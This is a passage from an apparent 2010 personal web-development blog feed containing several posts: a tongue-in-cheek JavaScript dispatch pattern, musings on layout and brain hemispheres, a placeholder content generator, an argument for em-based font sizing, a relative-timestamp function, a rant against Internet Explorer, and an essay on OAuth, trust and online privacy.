&lt;br /&gt;
To illustrate how amusing it is to write overcomplicated code, consider the following&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;Mega Super Ultimate Listener Overload Pattern of Awesomeness&lt;/h3&gt;&lt;br /&gt;
The interface is the only public function:&lt;br /&gt;
&lt;pre class=prettyprint&gt;function transmogrify(){
  // using this function as a dictionary or map:
  for (var filter in transmogrify.filters){
    // filter functions return the name of the method to call
    var key = transmogrify.filters[filter].apply(this, arguments);
    if (key) 
      transmogrify.methods[key].apply(this, arguments);
  }
}
&lt;/pre&gt;&lt;br /&gt;
This is the extension mechanism. The filter can check argument arity, type, validity, etc.&lt;br /&gt;
&lt;pre class=prettyprint&gt;transmogrify.filters.zap = function(str, num){
  if (typeof str == &#39;string&#39; &amp;&amp; typeof num == &#39;num&#39;)
    return &#39;zip&#39;;
};
transmogrify.methods.zip = function(){
  // there be beautiful code herein
};
&lt;/pre&gt;&lt;br /&gt;
I &lt;em&gt;know&lt;/em&gt; you want a function that does these two things in one go; a meta-meta-meta function. Maybe later.</description><link>http://nullisnull.blogspot.com/2010/08/filter-overload-pattern.html</link><author>noreply@blogger.com (φ)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-2399892947125027184</guid><pubDate>Wed, 11 Aug 2010 05:06:00 +0000</pubDate><atom:updated>2010-08-11T11:55:45.395-07:00</atom:updated><title>Adaptive Layout Algorithm</title><description>The difference between human hemispheres is in how they process information. We are told that one is &quot;linear&quot; and the other is &quot;parallel&quot;, or that one uses images and the other uses words, etc. Stay with me while I attempt to explain how attention span is divided between them and how to design a hemisphere-balanced layout.&lt;br /&gt;
&lt;br /&gt;
Fundamentally, the difference is in the timing. If one is linear and another parallel, how many linear units (bitwidth) can be processed at a time? Depends on the base being used. As of stardate sun-2010AD, I, along with all humans I know of, communicate with our computers using binary time conversion. That means our computing languages and compilers are calculated with only 1/0 (binary) to time increments (linear-infinite). Comparatively, a human mind &lt;em&gt;is&lt;/em&gt; the plane between two values: two hemispheres.&lt;br /&gt;
&lt;br /&gt;
Back to areas of attention: text attracts one hemisphere, images attract the other. The brain needs to quickly identify how to process the &quot;splat&quot;, then make a decision on what to pay attention to: the image of the pretty lady or the &lt;s&gt;skank&lt;/s&gt; eloquent paragraph beside it?&lt;br /&gt;
&lt;br /&gt;
More thinking: how big is the font? can I recognize any body parts relevant to my interests? FACES is what people look at first, subconsciously. There&#39;s studies with babies as the test subjects. Go read it. Anyway, more thinking, more fatigue. The less interrupted the flow is, the more efficient, the more rewarding. Interrupt is entropy, losses are negative. Got it?&lt;br /&gt;
&lt;br /&gt;
So here is Will, the conscious, constantly waking up the subconscious. Let&#39;s call her Akasha. &lt;em&gt;Note projection of opposite sexes and the allusion of memory -- a modern narcissus and echo.&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
An efficient algorithm will take into consideration this balance: good font size, balanced image to text ratio. What the &lt;i&gt;right&lt;/i&gt; balance is, is the subject for a subsequent post. Hint: it has to do with numbers.</description><link>http://nullisnull.blogspot.com/2010/08/adaptive-layout-algorithm.html</link><author>noreply@blogger.com (φ)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-8974913923449253703</guid><pubDate>Tue, 10 Aug 2010 22:42:00 +0000</pubDate><atom:updated>2010-08-10T15:42:59.752-07:00</atom:updated><title>Random content generator</title><description>&lt;code class=prettyprint&gt;&lt;br /&gt;
var i = 12;&lt;br /&gt;
while(i--) links.push({&lt;br /&gt;
  title: &#39;This is a title&#39;,&lt;br /&gt;
  article_text: &lt;br /&gt;
    (new Array((100*Math.random())|0 + 1))&lt;br /&gt;
      .join(&#39;Lots of dolorem in my ipsum. &#39;),&lt;br /&gt;
  image: &lt;br /&gt;
    &#39;http://9gag.com/photo/&#39;+ &lt;br /&gt;
    ((32000*Math.random())|0) +&lt;br /&gt;
    &#39;_540.jpg&#39;&lt;br /&gt;
});&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
Boom.</description><link>http://nullisnull.blogspot.com/2010/08/random-content-generator.html</link><author>noreply@blogger.com (φ)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-4983130848784183102</guid><pubDate>Sun, 08 Aug 2010 01:49:00 +0000</pubDate><atom:updated>2010-08-07T18:49:06.977-07:00</atom:updated><title>Relative font sizes</title><description>&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwvuvG2p3FvocDwZEfOEqLVHgvRJQ6VTGHeN_yLUvuXd7wGKwCfMDnSl-M76Py16J9ep_qZUuBY1kW6A_9wl_s_gHQs5EAHCm5JX5TkYvORScHK9sqlZmMbBtjGkOcRWtmGPRa/s1600/Screen+shot+2010-08-07+at+6.39.53+PM.png&quot; style=&quot;float:right;margin:.6em;padding:.6em;&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
The discussion over whether pixels (px) or ems (em) are best as a way to measure content when designing web pages is often ended with the argument that all modern browsers can scale content defined in pixels, which is not untrue.&lt;br /&gt;
&lt;br /&gt;
What falls short from this argument is that it puts the burden on the user to make the conscious decision to change the font size. The mental process could go like this:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;I&#39;m having trouble reading this. I&#39;m squinting. The text is too small. I&#39;ll press... what is it? oh, ctrl,+. One, two, three... no, one less so ctrl,-. There.&lt;/blockquote&gt;&lt;br /&gt;
The triviality of the example is balanced by the importance of avoiding disruption when it comes to user interaction. An action that we require from a user (in this case, attention to what we write) is impoverished by the division of said attention between the task that we want performed and adjusting the viewport.&lt;br /&gt;
&lt;br /&gt;
The whole point of affordance and usability is precisely to take the burden of thinking from the user, so it becomes an enjoyable activity. Would I like my readers to enjoy my blog? yes. Would I like my buyers to enjoy purchasing on my website? yes. Would you?&lt;br /&gt;
&lt;br /&gt;
An additional element is missing from pixels: There is research regarding the ideal width for a line of text (which I defer to you to investigate and debate). When using pixels, the rhythm and proportion of your page is much more difficult to preserve, since now it is a matter of font size and line width. If instead the layout is all dependent on font size, a person designing and coding a website can have a lot more control over the aesthetics without additional cognitive burden.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Author tweaks site css...&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
*ahem*. Got it?</description><link>http://nullisnull.blogspot.com/2010/08/relative-font-sizes.html</link><author>noreply@blogger.com (φ)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwvuvG2p3FvocDwZEfOEqLVHgvRJQ6VTGHeN_yLUvuXd7wGKwCfMDnSl-M76Py16J9ep_qZUuBY1kW6A_9wl_s_gHQs5EAHCm5JX5TkYvORScHK9sqlZmMbBtjGkOcRWtmGPRa/s72-c/Screen+shot+2010-08-07+at+6.39.53+PM.png" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-259837577682239583</guid><pubDate>Mon, 28 Jun 2010 22:38:00 +0000</pubDate><atom:updated>2011-11-17T17:39:23.975-08:00</atom:updated><title>Javascript timestamp formatting</title><description>&lt;em&gt;I&#39;ve ran into this scenario enough times that I think it&#39;s faster to post it and search it than opening an old file :)&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
Assume that you&#39;re working with a timestamp (number of milliseconds since January 1, 1970), for example:&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;var t = +new Date;
&lt;/pre&gt;&lt;br /&gt;
If you want to make that a relative time like &quot;10 minutes ago&quot;, you can use this simple function:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;function format(timestamp){
  var now = +new Date;
  var diff = (now - timestamp)/1000;
  if (diff &lt; 60) return diff + &#39; seconds ago&#39;;
  if ((diff/=60) &lt; 60) return Math.floor(diff) + &#39; minutes ago&#39;;
  if ((diff/=24) &lt; 24) return Math.floor(diff) + &#39; hours ago&#39;;
  if ((diff/=7) &lt; 7) return Math.floor(diff) + &#39; days ago&#39;;
  if ((diff/=4) &lt; 4) return Math.floor(diff) + &#39; weeks ago&#39;;
  var date = new Date(timestamp);
  var month = [&#39;January&#39;, &#39;February&#39;, &#39;March&#39;,
               &#39;April&#39;, &#39;May&#39;, &#39;June&#39;, &#39;July&#39;,
               &#39;August&#39;, &#39;September&#39;, &#39;October&#39;,
               &#39;November&#39;, &#39;December&#39;][date.getMonth()];
  var YEAR = 365*24*60*60;
  var year = (now - timestamp &lt; YEAR) ? &#39;&#39; : &#39; &#39; + date.getFullYear();
  return (month) + &#39; &#39; + (date.getDate()) + year;
}
&lt;/pre&gt;
I hope you find this useful.


&lt;h3&gt;&lt;em&gt;Update&lt;/em&gt;&lt;/h3&gt;
Tinkering around, I noticed that blogger has this:
&lt;pre class=&quot;prettyprint&quot;&gt;function relative_time(time_value) {
  var values = time_value.split(&quot; &quot;);
  time_value = values[1] + &quot; &quot; + values[2] + &quot;, &quot; + values[5] + &quot; &quot; + values[3];
  var parsed_date = Date.parse(time_value);
  var relative_to = (arguments.length &gt; 1) ? arguments[1] : new Date();
  var delta = parseInt((relative_to.getTime() - parsed_date) / 1000);
  delta = delta + (relative_to.getTimezoneOffset() * 60);

  if (delta &lt; 60) {
    return &#39;less than a minute ago&#39;;
  } else if(delta &lt; 120) {
    return &#39;about a minute ago&#39;;
  } else if(delta &lt; (60*60)) {
    return (parseInt(delta / 60)).toString() + &#39; minutes ago&#39;;
  } else if(delta &lt; (120*60)) {
    return &#39;about an hour ago&#39;;
  } else if(delta &lt; (24*60*60)) {
    return &#39;about &#39; + (parseInt(delta / 3600)).toString() + &#39; hours ago&#39;;
  } else if(delta &lt; (48*60*60)) {
    return &#39;1 day ago&#39;;
  } else {
    return (parseInt(delta / 86400)).toString() + &#39; days ago&#39;;
  }
}
&lt;/pre&gt;</description><link>http://nullisnull.blogspot.com/2010/06/javascript-timestamp-formatting.html</link><author>noreply@blogger.com (φ)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-580580570970640294</guid><pubDate>Wed, 12 May 2010 06:08:00 +0000</pubDate><atom:updated>2010-05-11T23:08:21.406-07:00</atom:updated><title>Internet Explorer slows down the internet</title><description>Sounds like an accusation. It is.&lt;br /&gt;
&lt;br /&gt;
Take for example web standards. Don&#39;t try to feed us your crap that you have and are actively participating in all sorts of initiatives. That&#39;s great but it&#39;s the people you employ who are doing that. It is the enthusiasm of human creativity.&lt;br /&gt;
&lt;br /&gt;
Now take JavaScript. Other browsers have implemented version 1.6, 1.7, 1.8 and introduced elegant language features that allow for very cool things to be written with very little cost (size or performance, for example).&lt;br /&gt;
&lt;br /&gt;
But because the majority of people still use a shitty browser (I grant you that it has gotten better, but let&#39;s not depart from the point), web developers are forever stuck programming with the lowest level denominator only because IE6 has to be supported. Or because IE7 or IE8 incorrectly implemented something.&lt;br /&gt;
&lt;br /&gt;
How can a browser slow down the internet? Because it slows down progress by not allowing programmers to evolve and educate at higher levels. Language evolution is but an academic exercise, not something that can be popularized by mass adoption. Forget about great ideas, they won&#39;t work for your clients.&lt;br /&gt;
&lt;br /&gt;
Can anything be done? At all?&lt;br /&gt;
I wait for inertia to catch up. IE will fall. The weight of the giant &lt;em&gt;will&lt;/em&gt; leave it behind.&lt;br /&gt;
&lt;br /&gt;
Bah.</description><link>http://nullisnull.blogspot.com/2010/05/internet-explorer-slows-down-internet.html</link><author>noreply@blogger.com (φ)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-30596097.post-6622107641284825397</guid><pubDate>Sun, 07 Feb 2010 00:17:00 +0000</pubDate><atom:updated>2010-06-30T16:42:19.770-07:00</atom:updated><title>Where OAuth and everything social fails</title><description>Okay, I get it. The interwebs is like the real world, but binary. We all want to play in it and feel safe. How come it hasn&#39;t taken off?&lt;br /&gt;
&lt;br /&gt;
Let&#39;s take as a hypothetical example site X. If they have made a big enough name, I&#39;ll trust them. Why? perhaps because everyone else is. The power of the masses is such that even if we&#39;re all wrong, I feel that we can also all rebel at the same time and it will be okay than if I land on some random site that ends up stealing my identity and my cats.&lt;br /&gt;
&lt;br /&gt;
I&#39;ve just mentioned the fundamental problem: trust. How do you trust a service or a corporation that you cannot see, chase, yell at or run over when it pisses you off? After all, the people in customer service are but human employees, they are not the corporation. Those running the corporation are the closest thing, but up there who knows what&#39;s going on. Maybe they are nice and fix problems when they come up, or maybe they laugh at you and close your account.&lt;br /&gt;
&lt;br /&gt;
This is the kind of situation that makes legitimate businesses not flourish: lack of trust.&lt;br /&gt;
&lt;br /&gt;
Back to site X. It looks legit. Okay, that means someone knows how to keep up with web standards, etc. That&#39;s a good sign: dedication. It&#39;s no guarantee, however.&lt;br /&gt;
&lt;br /&gt;
Let&#39;s say site X gets acquired by Y, a rogue company without any particular concern for the individuals involved. The site has OAuth and whateverconnect which allows your identity provider (say, Google or Facebook) to pull the plug on the service if they become rogue. Unfortunately, they can only prevent the rogue company to do evil on your behalf. It cannot prevent them from acquiring information from you: the information cannot be taken back.&lt;br /&gt;
&lt;br /&gt;
This is the fundamental problem between real life (meatware) and virtual life (software): the model doesn&#39;t work. &lt;br /&gt;
&lt;br /&gt;
Can you imagine walking into a coffee shop and automatically telling everyone in it your home address and phone number? That&#39;s the equivalent of an email address. &lt;strong&gt;Giving you a way to contact me back doesn&#39;t mean I have to give you a way to contact everyone I know&lt;/strong&gt;.&lt;br /&gt;
&lt;br /&gt;
Message to identity providers: allow people to see my avatar and nickname and to contact me &lt;em&gt;through your service&lt;/em&gt;. That&#39;s it. Not my email address, not my contacts, not my fan clubs. It&#39;s okay if you aggregate my behavioral data along with everyone else&#39;s and profit from that information, as long as you protect my identity. That&#39;s your end of the deal in exchange for the information I choose to give you. I do buy stuff, I do need ads, and I understand you need to know about me to show me relevant stuff. Just don&#39;t sell my identity. Protect it. Your company depends on the trust that your users have.&lt;br /&gt;
&lt;br /&gt;
Furthermore, &lt;strong&gt;knowing who I am doesn&#39;t mean you should know everything I do&lt;/strong&gt;. In a way, that is equivalent to having someone follow you around, even if it&#39;s just to figure out what you like best. It&#39;s creepy and it&#39;s not because I&#39;m doing something I&#39;m ashamed of. It has to do with moods. If I&#39;m in the mood for entertainment, I want to watch entertainment-related ads, not diapers. I don&#39;t need a reminder of what I should be doing instead, that&#39;s why I&#39;m watching sports in the first place. That&#39;s why you shouldn&#39;t bundle my identity with my physical container. Each mood is a different account. Don&#39;t mix them together.&lt;br /&gt;
&lt;br /&gt;
For the people implementing and designing these standards: pay close attention to how these interactions work in the physical world. After all, these protocols have been around for thousands of years and have evolved to their current state based on what works best: evolution and selection. Being smart is not a substitute for insight and patience, it&#39;s just shortsighted.&lt;br /&gt;
&lt;br /&gt;
Before I climb off my soap box, let me add this tangential note: If I&#39;m paying for insurance I don&#39;t just expect to get &lt;em&gt;some&lt;/em&gt; money for my stolen motorcycle. I expect you to also not make me fill 30 forms that are just a seemingly random combination of the same information: claim number, name, address, lien holder, who did my service the last time... ugh. I get it, the more information the better but &lt;strong&gt;your forms are ridiculous&lt;/strong&gt;. It is the modern equivalent of torture. Neither physical nor terrible, but very, very annoying. Pay attention to your job, there&#39;s people on the other side.&lt;br /&gt;
&lt;br /&gt;
&lt;em&gt;(off the soap box)&lt;/em&gt;&lt;br /&gt;
&lt;br /&gt;
My duty as an engineer is to realize that what I create, other people consume. I can make their lives better or worse.&lt;br /&gt;
&lt;br /&gt;
My duty as a human is to realize that my attitude is other people&#39;s experience of life, and that if something sucks it is because someone made it that way, even if not on purpose.&lt;br /&gt;
&lt;br /&gt;
My footprint is someone else&#39;s path.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.flickr.com/photos/darkgoyle/1538256103/&quot; title=&quot;I&#39;m in your beaches&quot;&gt;&lt;img src=&quot;http://farm3.static.flickr.com/2213/1538256103_0df2ba09f7.jpg&quot; width=&quot;500&quot; height=&quot;333&quot; alt=&quot;I&#39;m in your beaches&quot; /&gt;&lt;/a&gt;</description><link>http://nullisnull.blogspot.com/2010/02/where-oauth-and-everything-social-fails.html</link><author>noreply@blogger.com (φ)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://farm3.static.flickr.com/2213/1538256103_0df2ba09f7_t.jpg" height="72" width="72"/><thr:total>0</thr:total></item></channel></rss>